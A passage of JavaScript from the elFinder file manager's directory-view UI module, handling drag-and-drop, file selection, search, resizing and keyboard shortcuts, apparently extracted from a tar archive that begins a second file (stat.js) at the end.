					var $this = jQuery(this), helper = null;

					if (!mobile && !$this.data('dragRegisted') && !$this.hasClass(clTmp) && !$this.hasClass(clDraggable) && !$this.hasClass(clDisabled)) {
						$this.data('dragRegisted', true);
						if (!fm.isCommandEnabled('copy', fm.searchStatus.state > 1 || $this.hasClass('isroot')? fm.cwdId2Hash($this.attr('id')) : void 0)) {
							return;
						}
						$this.on('mousedown', function(e) {
							// shiftKey or altKey + drag start for HTML5 native drag function
							// Note: can no use shiftKey with the Google Chrome 
							var metaKey = options.metakeyDragout && !fm.UA.IE && (e.shiftKey || e.altKey),
								disable = false;
							if (metaKey && cwd.data('selectable')) {
								// destroy jQuery-ui selectable while trigger native drag
								cwd.selectable('disable').selectable('destroy').removeData('selectable');
								requestAnimationFrame(function(){
									cwd.selectable(selectableOption).selectable('option', {disabled: false}).selectable('refresh').data('selectable', true);
								});
							}
							$this.removeClass('ui-state-disabled');
							if (metaKey) {
								$this.draggable('option', 'disabled', true).attr('draggable', 'true');
							} else {
								if (!$this.hasClass(clSelected)) {
									if (list) {
										disable = jQuery(e.target).closest('span,tr').is('tr');
									} else {
										disable = jQuery(e.target).hasClass('elfinder-cwd-file');
									}
								}
								if (disable) {
									// removeClass('ui-state-disabled') for old version of jQueryUI
									$this.draggable('option', 'disabled', true).removeClass('ui-state-disabled');
								} else {
									$this.draggable('option', 'disabled', false)
										  .removeAttr('draggable')
									      .draggable('option', 'cursorAt', {left: 50 - parseInt(jQuery(e.currentTarget).css('margin-left')), top: 47});
								}
							}
						})
						.on('dragstart', function(e) {
							var dt = e.dataTransfer || e.originalEvent.dataTransfer || null;
							helper = null;
							if (dt && !fm.UA.IE) {
								var p = this.id ? jQuery(this) : jQuery(this).parents('[id]:first'),
									elm   = jQuery('<span>'),
									url   = '',
									durl  = null,
									murl  = null,
									files = [],
									icon  = function(f) {
										var mime = f.mime, i, tmb = fm.tmb(f);
										i = '<div class="elfinder-cwd-icon elfinder-cwd-icon-drag '+fm.mime2class(mime)+' ui-corner-all"></div>';
										if (tmb) {
											i = jQuery(i).addClass(tmb.className).css('background-image', "url('"+tmb.url+"')").get(0).outerHTML;
										}
										return i;
									}, l, geturl = [];
								p.trigger(evtSelect);
								trigger();
								jQuery.each(selectedFiles, function(v){
									var file = fm.file(v),
										furl = file.url;
									if (file && file.mime !== 'directory') {
										if (!furl) {
											furl = fm.url(file.hash);
										} else if (furl == '1') {
											geturl.push(v);
											return true;
										}
										if (furl) {
											furl = fm.convAbsUrl(furl);
											files.push(v);
											jQuery('<a>').attr('href', furl).text(furl).appendTo(elm);
											url += furl + "\n";
											if (!durl) {
												durl = file.mime + ':' + file.name + ':' + furl;
											}
											if (!murl) {
												murl = furl + "\n" + file.name;
											}
										}
									}
								});
								if (geturl.length) {
									jQuery.each(geturl, function(i, v){
										var rfile = fm.file(v);
										rfile.url = '';
										fm.request({
											data : {cmd : 'url', target : v},
											notify : {type : 'url', cnt : 1},
											preventDefault : true
										})
										.always(function(data) {
											rfile.url = data.url? data.url : '1';
										});
									});
									return false;
								} else if (url) {
									if (dt.setDragImage) {
										helper = jQuery('<div class="elfinder-drag-helper html5-native"></div>').append(icon(fm.file(files[0]))).appendTo(jQuery(document.body));
										if ((l = files.length) > 1) {
											helper.append(icon(fm.file(files[l-1])) + '<span class="elfinder-drag-num">'+l+'</span>');
										}
										dt.setDragImage(helper.get(0), 50, 47);
									}
									dt.effectAllowed = 'copyLink';
									dt.setData('DownloadURL', durl);
									dt.setData('text/x-moz-url', murl);
									dt.setData('text/uri-list', url);
									dt.setData('text/plain', url);
									dt.setData('text/html', elm.html());
									dt.setData('elfinderfrom', window.location.href + fm.cwd().hash);
									dt.setData('elfinderfrom:' + dt.getData('elfinderfrom'), '');
								} else {
									return false;
								}
							}
						})
						.on('dragend', function(e){
							unselectAll({ notrigger: true });
							helper && helper.remove();
						})
						.draggable(fm.draggable);
					}
				})
				// add hover class to selected file
				.on(evtSelect, fileSelector, function(e) {
					var $this = jQuery(this),
						id    = fm.cwdId2Hash($this.attr('id'));
					
					if (!selectLock && !$this.hasClass(clDisabled)) {
						lastSelect = '#'+ this.id;
						$this.addClass(clSelected).children().addClass(clHover).find('input:checkbox.'+clSelChk).prop('checked', true);
						if (! selectedFiles[id]) {
							selectedFiles[id] = true;
						}
						// will be selected next
						selectedNext = cwd.find('[id].'+clSelected+':last').next();
					}
				})
				// remove hover class from unselected file
				.on(evtUnselect, fileSelector, function(e) {
					var $this = jQuery(this), 
						id    = fm.cwdId2Hash($this.attr('id'));
					
					if (!selectLock) {
						$this.removeClass(clSelected).children().removeClass(clHover).find('input:checkbox.'+clSelChk).prop('checked', false);
						if (cwd.hasClass('elfinder-cwd-allselected')) {
							selectCheckbox && selectAllCheckbox.children('input').prop('checked', false);
							cwd.removeClass('elfinder-cwd-allselected');
						}
						selectedFiles[id] && delete selectedFiles[id];
					}
					
				})
				// disable files wich removing or moving
				.on(evtDisable, fileSelector, function() {
					var $this  = jQuery(this).removeClass(clHover+' '+clSelected).addClass(clDisabled), 
						child  = $this.children(),
						target = (list ? $this : child.find('div.elfinder-cwd-file-wrapper,div.elfinder-cwd-filename'));
					
					child.removeClass(clHover+' '+clSelected);
					
					$this.hasClass(clDroppable) && $this.droppable('disable');
					target.hasClass(clDraggable) && target.draggable('disable');
				})
				// if any files was not removed/moved - unlock its
				.on(evtEnable, fileSelector, function() {
					var $this  = jQuery(this).removeClass(clDisabled), 
						target = list ? $this : $this.children('div.elfinder-cwd-file-wrapper,div.elfinder-cwd-filename');
					
					$this.hasClass(clDroppable) && $this.droppable('enable');	
					target.hasClass(clDraggable) && target.draggable('enable');
				})
				.on('scrolltoview', fileSelector, function(e, data) {
					scrollToView(jQuery(this), (data && typeof data.blink !== 'undefined')? data.blink : true);
				})
				.on('mouseenter.'+fm.namespace+' mouseleave.'+fm.namespace, fileSelector, function(e) {
					var enter = (e.type === 'mouseenter');
					if (enter && (scrolling || fm.UA.Mobile)) { return; }
					fm.trigger('hover', {hash : fm.cwdId2Hash(jQuery(this).attr('id')), type : e.type});
					jQuery(this).toggleClass(clHover, (e.type == 'mouseenter'));
				})
				// for file contextmenu
				.on('mouseenter.'+fm.namespace+' mouseleave.'+fm.namespace, '.elfinder-cwd-file-wrapper,.elfinder-cwd-filename', function(e) {
					var enter = (e.type === 'mouseenter');
					if (enter && scrolling) { return; }
					jQuery(this).closest(fileSelector).children('.elfinder-cwd-file-wrapper,.elfinder-cwd-filename').toggleClass(clActive, (e.type == 'mouseenter'));
				})
				.on('contextmenu.'+fm.namespace, function(e) {
					var file = jQuery(e.target).closest(fileSelector);
					
					if (file.get(0) === e.target && !selectedFiles[fm.cwdId2Hash(file.get(0).id)]) {
						return;
					}

					// now filename editing
					if (file.find('input:text,textarea').length) {
						e.stopPropagation();
						return;
					}
					
					if (file.length && (e.target.nodeName != 'TD' || selectedFiles[fm.cwdId2Hash(file.get(0).id)])) {
						e.stopPropagation();
						e.preventDefault();
						if (!file.hasClass(clDisabled) && !wrapper.data('touching')) {
							if (!file.hasClass(clSelected)) {
								unselectAll({ notrigger: true });
								file.trigger(evtSelect);
								trigger();
							}
							fm.trigger('contextmenu', {
								'type'    : 'files',
								'targets' : fm.selected(),
								'x'       : e.pageX,
								'y'       : e.pageY
							});

						}
						
					}
				})
				// unselect all on cwd click
				.on('click.'+fm.namespace, function(e) {
					if (e.target === this && ! cwd.data('longtap')) {
						!e.shiftKey && !e.ctrlKey && !e.metaKey && unselectAll();
					}
				})
				// prepend fake file/dir
				.on('create.'+fm.namespace, function(e, f) {
					var parent = list ? cwd.find('tbody') : cwd,
						p = parent.find('.elfinder-cwd-parent'),
						lock = f.move || false,
						file = jQuery(itemhtml(f)).addClass(clTmp),
						selected = fm.selected();
						
					if (selected.length) {
						lock && fm.trigger('lockfiles', {files: selected});
					} else {
						unselectAll();
					}

					if (p.length) {
						p.after(file);
					} else {
						parent.prepend(file);
					}
					
					setColwidth();
					wrapper.scrollTop(0).scrollLeft(0);
				})
				// unselect all selected files
				.on('unselectall', unselectAll)
				.on('selectfile', function(e, id) {
					fm.cwdHash2Elm(id).trigger(evtSelect);
					trigger();
				})
				.on('colwidth', function() {
					if (list) {
						cwd.find('table').css('table-layout', '')
							.find('td').css('width', '');
						fixTableHeader({fitWidth: true});
						fm.storage('cwdColWidth', colWidth = null);
					}
				})
				.on('iconpref', function(e, data) {
					cwd.removeClass(function(i, cName) {
						return (cName.match(/\belfinder-cwd-size\S+/g) || []).join(' ');
					});
					iconSize = data? (parseInt(data.size) || 0) : 0;
					if (!list) {
						if (iconSize > 0) {
							cwd.addClass('elfinder-cwd-size' + iconSize);
						}
						if (bufferExt.renderd) {
							requestAnimationFrame(function() {
								itemBoxSize.icons = {};
								bufferExt.hpi = null;
								bottomMarkerShow(cwd, bufferExt.renderd);
								wrapperRepaint();
							});
						}
					}
				})
				// Change icon size with mouse wheel event
				.on('onwheel' in document ? 'wheel' : 'mousewheel', function(e) {
					var tm, size, delta;
					if (!list && ((e.ctrlKey && !e.metaKey) || (!e.ctrlKey && e.metaKey))) {
						e.stopPropagation();
						e.preventDefault();
						tm = cwd.data('wheelTm');
						if (typeof tm !== 'undefined') {
							clearTimeout(tm);
							cwd.data('wheelTm', setTimeout(function() {
								cwd.removeData('wheelTm');
							}, 200));
						} else {
							cwd.data('wheelTm', false);
							size = iconSize || 0;
							delta = e.originalEvent.deltaY ? e.originalEvent.deltaY : -(e.originalEvent.wheelDelta);
							if (delta > 0) {
								if (iconSize > 0) {
									size = iconSize - 1;
								}
							} else {
								if (iconSize < options.iconsView.sizeMax) {
									size = iconSize + 1;
								}
							}
							if (size !== iconSize) {
								fm.storage('iconsize', size);
								cwd.trigger('iconpref', {size: size});
							}
						}
					}
				}),
			wrapper = jQuery('<div class="elfinder-cwd-wrapper"></div>')
				// make cwd itself droppable for folders from nav panel
				.droppable(Object.assign({}, droppable, {autoDisable: false}))
				.on('contextmenu.'+fm.namespace, wrapperContextMenu.contextmenu)
				.on('touchstart.'+fm.namespace, wrapperContextMenu.touchstart)
				.on('touchmove.'+fm.namespace+' touchend.'+fm.namespace, wrapperContextMenu.touchend)
				.on('click.'+fm.namespace, wrapperContextMenu.click)
				.on('scroll.'+fm.namespace, function() {
					if (! scrolling) {
						cwd.data('selectable') && cwd.selectable('disable');
						wrapper.trigger(scrollStartEvent);
					}
					scrolling = true;
					bufferExt.scrtm && cancelAnimationFrame(bufferExt.scrtm);
					if (bufferExt.scrtm && Math.abs((bufferExt.scrolltop || 0) - (bufferExt.scrolltop = (this.scrollTop || jQuery(this).scrollTop()))) < 5) {
						bufferExt.scrtm = 0;
						wrapper.trigger(scrollEvent);
					}
					bufferExt.scrtm = requestAnimationFrame(function() {
						bufferExt.scrtm = 0;
						wrapper.trigger(scrollEvent);
					});
				})
				.on(scrollEvent, function() {
					scrolling = false;
					wrapperRepaint();
				}),
			
			bottomMarker = jQuery('<div>&nbsp;</div>')
				.css({position: 'absolute', width: '1px', height: '1px'})
				.hide(),
			
			selectAllCheckbox = selectCheckbox? jQuery('<div class="elfinder-cwd-selectall"><input type="checkbox"/></div>')
				.attr('title', fm.i18n('selectall'))
				.on('click', function(e) {
					e.stopPropagation();
					e.preventDefault();
					if (jQuery(this).data('pending')) {
						return false;
					}
					selectAllCheckbox.data('pending', true);
					if (cwd.hasClass('elfinder-cwd-allselected')) {
						selectAllCheckbox.find('input').prop('checked', false);
						requestAnimationFrame(function() {
							unselectAll();
						});
					} else {
						selectAll();
					}
				}) : jQuery(),
			
			restm = null,
			resize = function(init) {
				var initHeight = function() {
					if (typeof bufferExt.renderd !== 'undefined') {
						var h = 0;
						wrapper.siblings('div.elfinder-panel:visible').each(function() {
							h += jQuery(this).outerHeight(true);
						});
						wrapper.height(wz.height() - h - wrapper._padding);
					}
				};
				
				init && initHeight();
				
				restm && cancelAnimationFrame(restm);
				restm = requestAnimationFrame(function(){
					!init && initHeight();
					var wph, cwdoh;
					// fix cwd height if it less then wrapper
					cwd.css('height', 'auto');
					wph = wrapper[0].clientHeight - parseInt(wrapper.css('padding-top')) - parseInt(wrapper.css('padding-bottom')) - parseInt(cwd.css('margin-top')),
					cwdoh = cwd.outerHeight(true);
					if (cwdoh < wph) {
						cwd.height(wph);
					}
				});
				
				list && ! colResizing && (init? wrapper.trigger('resize.fixheader') : fixTableHeader());
				
				wrapperRepaint();
			},
			
			// elfinder node
			parent = jQuery(this).parent().on('resize', resize),
			
			// workzone node 
			wz = parent.children('.elfinder-workzone').append(wrapper.append(this).append(bottomMarker)),
			
			// message board
			mBoard = jQuery('<div class="elfinder-cwd-message-board"></div>').insertAfter(cwd),

			// Volume expires
			vExpires = jQuery('<div class="elfinder-cwd-expires" ></div>'),

			vExpiresTm,

			showVolumeExpires = function() {
				var remain, sec, int;
				vExpiresTm && clearTimeout(vExpiresTm);
				if (curVolId && fm.volumeExpires[curVolId]) {
					sec = fm.volumeExpires[curVolId] - ((+new Date()) / 1000);
					int = (sec % 60) + 0.1;
					remain = Math.floor(sec / 60);
					vExpires.html(fm.i18n(['minsLeft', remain])).show();
					if (remain) {
						vExpiresTm = setTimeout(showVolumeExpires, int * 1000);
					}
				}
			},

			// each item box size
			itemBoxSize = {
				icons : {},
				list : {}
			},

			// has UI tree
			hasUiTree,

			// Icon size of icons view
			iconSize,

			// Current volume id
			curVolId,
			
			winScrTm;

		// IE < 11 not support CSS `pointer-events: none`
		if (!fm.UA.ltIE10) {
			mBoard.append(jQuery('<div class="elfinder-cwd-trash" ></div>').html(fm.i18n('volume_Trash')))
			      .append(vExpires);
		}

		// setup by options
		replacement = Object.assign(replacement, options.replacement || {});
		
		try {
			colWidth = fm.storage('cwdColWidth')? fm.storage('cwdColWidth') : null;
		} catch(e) {
			colWidth = null;
		}
		
		// setup costomCols
		fm.bind('columnpref', function(e) {
			var opts = e.data || {};
			if (customCols = fm.storage('cwdCols')) {
				customCols = jQuery.grep(customCols, function(n) {
					return (options.listView.columns.indexOf(n) !== -1)? true : false;
				});
				if (options.listView.columns.length > customCols.length) {
					jQuery.each(options.listView.columns, function(i, n) {
						if (customCols.indexOf(n) === -1) {
							customCols.push(n);
						}
					});
				}
			} else {
				customCols = options.listView.columns;
			}
			// column names array that hidden
			var columnhides = fm.storage('columnhides') || null;
			if (columnhides && Object.keys(columnhides).length)
			customCols = jQuery.grep(customCols, function(n) {
				return columnhides[n]? false : true;
			});
			// make template with customCols
			templates.row = makeTemplateRow();
			// repaint if need it
			list && opts.repaint && content();
		}).trigger('columnpref');

		if (mobile) {
			// for iOS5 bug
			jQuery('body').on('touchstart touchmove touchend', function(e){});
		}
		
		selectCheckbox && cwd.addClass('elfinder-has-checkbox');
		
		jQuery(window).on('scroll.'+fm.namespace, function() {
			winScrTm && cancelAnimationFrame(winScrTm);
			winScrTm = requestAnimationFrame(function() {
				wrapper.trigger(scrollEvent);
			});
		});
		
		jQuery(document).on('keydown.'+fm.namespace, function(e) {
			if (e.keyCode == jQuery.ui.keyCode.ESCAPE) {
				if (! fm.getUI().find('.ui-widget:visible').length) {
					unselectAll();
				}
			}
		});
		
		fm
			.one('init', function(){
				var style = document.createElement('style'),
				sheet, node, base, resizeTm, iconSize, i = 0;
				if (document.head) {
					document.head.appendChild(style);
					sheet = style.sheet;
					sheet.insertRule('.elfinder-cwd-wrapper-empty .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptyFolder')+'" }', i++);
					sheet.insertRule('.elfinder-cwd-wrapper-empty .native-droppable .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptyFolder'+(mobile? 'LTap' : 'Drop'))+'" }', i++);
					sheet.insertRule('.elfinder-cwd-wrapper-empty .ui-droppable-disabled .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptyFolder')+'" }', i++);
					sheet.insertRule('.elfinder-cwd-wrapper-empty.elfinder-search-result .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptySearch')+'" }', i++);
					sheet.insertRule('.elfinder-cwd-wrapper-empty.elfinder-search-result.elfinder-incsearch-result .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptyIncSearch')+'" }', i++);
					sheet.insertRule('.elfinder-cwd-wrapper-empty.elfinder-search-result.elfinder-letsearch-result .elfinder-cwd:not(.elfinder-table-header-sticky):after{ content:"'+fm.i18n('emptyLetSearch')+'" }', i++);
				}
				if (iconSize = (fm.storage('iconsize') || options.iconsView.size || 0)) {
					iconSize = Math.min(iconSize, options.iconsView.sizeMax);
					cwd.trigger('iconpref', {size: iconSize});
				}
				if (! mobile) {
					fm.one('open', function() {
						sheet && fm.zIndex && sheet.insertRule('.ui-selectable-helper{z-index:'+fm.zIndex+';}', i++);
					});
					base = jQuery('<div style="position:absolute"></div>');
					node = fm.getUI();
					node.on('resize', function(e, data) {
						var offset;
						e.preventDefault();
						e.stopPropagation();
						if (data && data.fullscreen) {
							offset = node.offset();
							if (data.fullscreen === 'on') {
								base.css({top:offset.top * -1 , left:offset.left * -1 }).appendTo(node);
								selectableOption.appendTo = base;
							} else {
								base.detach();
								selectableOption.appendTo = 'body';
							}
							cwd.data('selectable') && cwd.selectable('option', {appendTo : selectableOption.appendTo});
						}
					});
				}
				hasUiTree = fm.getUI('tree').length;
			})
			.bind('enable', function() {
				resize();
			})
			.bind('request.open', function() {
				bufferExt.getTmbs = [];
			})
			.one('open', function() {
				if (fm.maxTargets) {
					tmbNum = Math.min(fm.maxTargets, tmbNum);
				}
			})
			.bind('open add remove searchend', function() {
				var phash = fm.cwd().hash,
					type = this.type;
				if (type === 'open' || type === 'searchend' || fm.searchStatus.state < 2) {
					cwdHashes = jQuery.map(fm.files(phash), function(f) { return f.hash; });
					fm.trigger('cwdhasheschange', cwdHashes);
				}
				if (type === 'open') {
					var inTrash = function() {
							var isIn = false;
							jQuery.each(cwdParents, function(i, h) {
								if (fm.trashes[h]) {
									isIn = true;
									return false;
								}
							});
							return isIn;
						},
						req = phash?
							(! fm.file(phash) || hasUiTree?
								(! hasUiTree?
									fm.request({
										data: {
											cmd    : 'parents',
											target : fm.cwd().hash
										},
										preventFail : true
									}) : (function() {
										var dfd = jQuery.Deferred();
										fm.one('treesync', function(e) {
											e.data.always(function() {
												dfd.resolve();
											});
										});
										return dfd;
									})()
								) : null
							) : null,
						cwdObj = fm.cwd();
					// add/remove volume id class
					if (cwdObj.volumeid !== curVolId) {
						vExpires.empty().hide();
						if (curVolId) {
							wrapper.removeClass('elfinder-cwd-wrapper-' + curVolId);
						}
						curVolId = cwdObj.volumeid;
						showVolumeExpires();
						wrapper.addClass('elfinder-cwd-wrapper-' + curVolId);
					}
					// add/remove trash class
					jQuery.when(req).done(function() {
						cwdParents = fm.parents(cwdObj.hash);
						wrapper[inTrash()? 'addClass':'removeClass']('elfinder-cwd-wrapper-trash');
					});
					incHashes = void 0;
					unselectAll({ notrigger: true });
					content();
				}
			})
			.bind('search', function(e) {
				cwdHashes = jQuery.map(e.data.files, function(f) { return f.hash; });
				fm.trigger('cwdhasheschange', cwdHashes);
				incHashes = void 0;
				fm.searchStatus.ininc = false;
				content();
				fm.autoSync('stop');
			})
			.bind('searchend', function(e) {
				if (query || incHashes) {
					query = '';
					if (incHashes) {
						fm.trigger('incsearchend', e.data);
					} else {
						if (!e.data || !e.data.noupdate) {
							content();
						}
					}
				}
				fm.autoSync();
			})
			.bind('searchstart', function(e) {
				unselectAll();
				query = e.data.query;
			})
			.bind('incsearchstart', function(e) {
				var q = e.data.query || '',
					type =  e.data.type || 'SearchName',
					searchTypes = fm.options.commandsOptions.search.searchTypes || {};

				if ((searchTypes[type] && searchTypes[type].incsearch) || type === 'SearchName') {
					selectedFiles = {};
					fm.lazy(function() {
						// incremental search
						var regex, incSearch, fst = '';
						query = q;
						if (q) {
							if (q.substr(0,1) === '/') {
								q = q.substr(1);
								fst = '^';
							}
							regex = new RegExp(fst + q.replace(/([\\*\;\.\?\[\]\{\}\(\)\^\$\-\|])/g, '\\$1'), 'i');
							if (type === 'SearchName') {
								incHashes = jQuery.grep(cwdHashes, function(hash) {
									var file = fm.file(hash);
									return (file && (file.name.match(regex) || (file.i18 && file.i18.match(regex))))? true : false;
								});
							} else {
								incSearch = searchTypes[type].incsearch;
								if (typeof incSearch === 'string') {
									incHashes = jQuery.grep(cwdHashes, function(hash) {
										var file = fm.file(hash);
										return (file && file[incSearch] && (file[incSearch] + '').match(regex))? true : false;
									});
								} else if (typeof incSearch === 'function') {
									try {
										incHashes = jQuery.grep(incSearch({val: q, regex: regex}, cwdHashes, fm), function(hash) {
											return fm.file(hash)? true : false;
										});
									} catch(e) {
										incHashes = [];
									}
								}
							}
							fm.trigger('incsearch', { hashes: incHashes, query: q })
								.searchStatus.ininc = true;
							content();
							fm.autoSync('stop');
						} else {
							fm.trigger('incsearchend');
						}
					});
				}
			})
			.bind('incsearchend', function(e) {
				query = '';
				fm.searchStatus.ininc = false;
				incHashes = void 0;
				if (!e.data || !e.data.noupdate) {
					content();
				}
				fm.autoSync();
			})
			.bind('sortchange', function() {
				var lastScrollLeft = wrapper.scrollLeft(),
					allsel = cwd.hasClass('elfinder-cwd-allselected');
				
				content();
				fm.one('cwdrender', function() {
					wrapper.scrollLeft(lastScrollLeft);
					if (allsel) {
						selectedFiles = fm.arrayFlip(incHashes || cwdHashes, true);
					}
					(allsel || Object.keys(selectedFiles).length) && trigger();
				});
			})
			.bind('viewchange', function() {
				var l      = fm.viewType != 'list',
					allsel = cwd.hasClass('elfinder-cwd-allselected');
				
				if (l != list) {
					list = l;
					fm.viewType = list? 'list' : 'icons';
					if (iconSize) {
						fm.one('cwdinit', function() {
							cwd.trigger('iconpref', {size: iconSize});
						});
					}
					content();
					resize();

					if (allsel) {
						cwd.addClass('elfinder-cwd-allselected');
						selectAllCheckbox.find('input').prop('checked', true);
					}
					Object.keys(selectedFiles).length && trigger();
				}
			})
			.bind('wzresize', function() {
				var place = list ? cwd.find('tbody') : cwd,
					cwdOffset;
				resize(true);
				if (bufferExt.hpi) {
					bottomMarkerShow(place, place.find('[id]').length);
				}
				
				cwdOffset = cwd.offset();
				wz.data('rectangle', Object.assign(
					{
						width: wz.width(),
						height: wz.height(),
						cwdEdge: (fm.direction === 'ltr')? cwdOffset.left : cwdOffset.left + cwd.width()
					},
					wz.offset())
				);
				
				bufferExt.itemH = (list? place.find('tr:first') : place.find('[id]:first')).outerHeight(true);
			})
			.bind('changeclipboard', function(e) {
				clipCuts = {};
				if (e.data && e.data.clipboard && e.data.clipboard.length) {
					jQuery.each(e.data.clipboard, function(i, f) {
						if (f.cut) {
							clipCuts[f.hash] = true;
						}
					});
				}
			})
			.bind('resMixinMake', function() {
				setColwidth();
			})
			.bind('tmbreload', function(e) {
				var imgs = {},
					files = (e.data && e.data.files)? e.data.files : null;
				
				jQuery.each(files, function(i, f) {
					if (f.tmb && f.tmb != '1') {
						imgs[f.hash] = f.tmb;
					}
				});
				if (Object.keys(imgs).length) {
					attachThumbnails(imgs, true);
				}
			})
			.add(function(e) {
				var regex = query? new RegExp(query.replace(/([\\*\;\.\?\[\]\{\}\(\)\^\$\-\|])/g, '\\$1'), 'i') : null,
					mime  = fm.searchStatus.mime,
					inSearch = fm.searchStatus.state > 1,
					phash = inSearch && fm.searchStatus.target? fm.searchStatus.target : fm.cwd().hash,
					curPath = fm.path(phash),
					inTarget = function(f) {
						var res, parents, path;
						res = (f.phash === phash);
						if (!res && inSearch) {
							path = f.path || fm.path(f.hash);
							res = (curPath && path.indexOf(curPath) === 0);
							if (! res && fm.searchStatus.mixed) {
								res = jQuery.grep(fm.searchStatus.mixed, function(vid) { return f.hash.indexOf(vid) === 0? true : false; }).length? true : false;
							}
						}
						if (res && inSearch) {
							if (mime) {
								res = (f.mime.indexOf(mime) === 0);
							} else {
								res = (f.name.match(regex) || (f.i18 && f.i18.match(regex)))? true : false;
							}
						}
						return res;
					},
					files = jQuery.grep(e.data.added || [], function(f) { return inTarget(f)? true : false ;});
				add(files);
				if (fm.searchStatus.state === 2) {
					jQuery.each(files, function(i, f) {
						if (jQuery.inArray(f.hash, cwdHashes) === -1) {
							cwdHashes.push(f.hash);
						}
					});
					fm.trigger('cwdhasheschange', cwdHashes);
				}
				list && resize();
				wrapper.trigger(scrollEvent);
			})
			.change(function(e) {
				var phash = fm.cwd().hash,
					sel   = fm.selected(),
					files, added;

				if (query) {
					jQuery.each(e.data.changed || [], function(i, file) {
						if (fm.cwdHash2Elm(file.hash).length) {
							remove([file.hash]);
							add([file], 'change');
							jQuery.inArray(file.hash, sel) !== -1 && selectFile(file.hash);
							added = true;
						}
					});
				} else {
					jQuery.each(jQuery.grep(e.data.changed || [], function(f) { return f.phash == phash ? true : false; }), function(i, file) {
						if (fm.cwdHash2Elm(file.hash).length) {
							remove([file.hash]);
							add([file], 'change');
							jQuery.inArray(file.hash, sel) !== -1 && selectFile(file.hash);
							added = true;
						}
					});
				}
				
				if (added) {
					fm.trigger('cwdhasheschange', cwdHashes);
					list && resize();
					wrapper.trigger(scrollEvent);
				}
				
				trigger();
			})
			.remove(function(e) {
				var place = list ? cwd.find('tbody') : cwd;
				remove(e.data.removed || []);
				trigger();
				if (buffer.length < 1 && place.children(fileSelector + (options.oldSchool? ':not(.elfinder-cwd-parent)' : '')).length < 1) {
					wz.addClass('elfinder-cwd-wrapper-empty');
					selectCheckbox && selectAllCheckbox.find('input').prop('checked', false);
					bottomMarker.hide();
					wrapper.off(scrollEvent, render);
					resize();
				} else {
					bottomMarkerShow(place);
					wrapper.trigger(scrollEvent);
				}
			})
			// select dragged file if no selected, disable selectable
			.dragstart(function(e) {
				var target = jQuery(e.data.target),
					oe     = e.data.originalEvent;

				if (target.hasClass(clFile)) {
					
					if (!target.hasClass(clSelected)) {
						!(oe.ctrlKey || oe.metaKey || oe.shiftKey) && unselectAll({ notrigger: true });
						target.trigger(evtSelect);
						trigger();
					}
				}
				
				cwd.removeClass(clDisabled).data('selectable') && cwd.selectable('disable');
				selectLock = true;
			})
			// enable selectable
			.dragstop(function() {
				cwd.data('selectable') && cwd.selectable('enable');
				selectLock = false;
			})
			.bind('lockfiles unlockfiles selectfiles unselectfiles', function(e) {
				var events = {
						lockfiles     : evtDisable ,
						unlockfiles   : evtEnable ,
						selectfiles   : evtSelect,
						unselectfiles : evtUnselect },
					event  = events[e.type],
					files  = e.data.files || [],
					l      = files.length,
					helper = e.data.helper || jQuery(),
					parents, ctr, add;

				if (l > 0) {
					parents = fm.parents(files[0]);
				}
				if (event === evtSelect || event === evtUnselect) {
					add  = (event === evtSelect),
					jQuery.each(files, function(i, hash) {
						var all = cwd.hasClass('elfinder-cwd-allselected');
						if (! selectedFiles[hash]) {
							add && (selectedFiles[hash] = true);
						} else {
							if (all) {
								selectCheckbox && selectAllCheckbox.children('input').prop('checked', false);
								cwd.removeClass('elfinder-cwd-allselected');
								all = false;
							}
							! add && delete selectedFiles[hash];
						}
					});
				}
				if (!helper.data('locked')) {
					while (l--) {
						try {
							fm.cwdHash2Elm(files[l]).trigger(event);
						} catch(e) {}
					}
					! e.data.inselect && trigger();
				}
				if (wrapper.data('dropover') && parents.indexOf(wrapper.data('dropover')) !== -1) {
					ctr = e.type !== 'lockfiles';
					helper.toggleClass('elfinder-drag-helper-plus', ctr);
					wrapper.toggleClass(clDropActive, ctr);
				}
			})
			// select new files after some actions
			.bind('mkdir mkfile duplicate upload rename archive extract paste multiupload', function(e) {
				if (e.type == 'upload' && e.data._multiupload) return;
				var phash = fm.cwd().hash, files;
				
				unselectAll({ notrigger: true });

				jQuery.each((e.data.added || []).concat(e.data.changed || []), function(i, file) { 
					file && file.phash == phash && selectFile(file.hash);
				});
				trigger();
			})
			.shortcut({
				pattern     :'ctrl+a', 
				description : 'selectall',
				callback    : selectAll
			})
			.shortcut({
				pattern     :'ctrl+shift+i', 
				description : 'selectinvert',
				callback    : selectInvert
			})
			.shortcut({
				pattern     : 'left right up down shift+left shift+right shift+up shift+down',
				description : 'selectfiles',
				type        : 'keydown' , //fm.UA.Firefox || fm.UA.Opera ? 'keypress' : 'keydown',
				callback    : function(e) { select(e.keyCode, e.shiftKey); }
			})
			.shortcut({
				pattern     : 'home',
				description : 'selectffile',
				callback    : function(e) { 
					unselectAll({ notrigger: true });
					scrollToView(cwd.find('[id]:first').trigger(evtSelect));
					trigger();
				}
			})
			.shortcut({
				pattern     : 'end',
				description : 'selectlfile',
				callback    : function(e) { 
					unselectAll({ notrigger: true });
					scrollToView(cwd.find('[id]:last').trigger(evtSelect)) ;
					trigger();
				}
			})
			.shortcut({
				pattern     : 'page_up',
				description : 'pageTurning',
				callback    : function(e) {
					if (bufferExt.itemH) {
						wrapper.scrollTop(
							Math.round(
								wrapper.scrollTop()
								- (Math.floor((wrapper.height() + (list? bufferExt.itemH * -1 : 16)) / bufferExt.itemH)) * bufferExt.itemH
							)
						);
					}
				}
			}).shortcut({
				pattern     : 'page_down',
				description : 'pageTurning',
				callback    : function(e) { 
					if (bufferExt.itemH) {
						wrapper.scrollTop(
							Math.round(
								wrapper.scrollTop()
								+ (Math.floor((wrapper.height() + (list? bufferExt.itemH * -1 : 16)) / bufferExt.itemH)) * bufferExt.itemH
							)
						);
					}
				}
			});
		
	});
	
	// fm.timeEnd('cwdLoad')
	
	return this;
};
stat.js000066600000006626151754206170006103 0ustar00/**
 * @class elFinder ui
 * Display number of files/selected files and its size in statusbar
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfinderstat = function(fm) {
	"use strict";
	return this.each(function() {
		var size       = jQuery(this).addClass('elfinder-stat-size'),
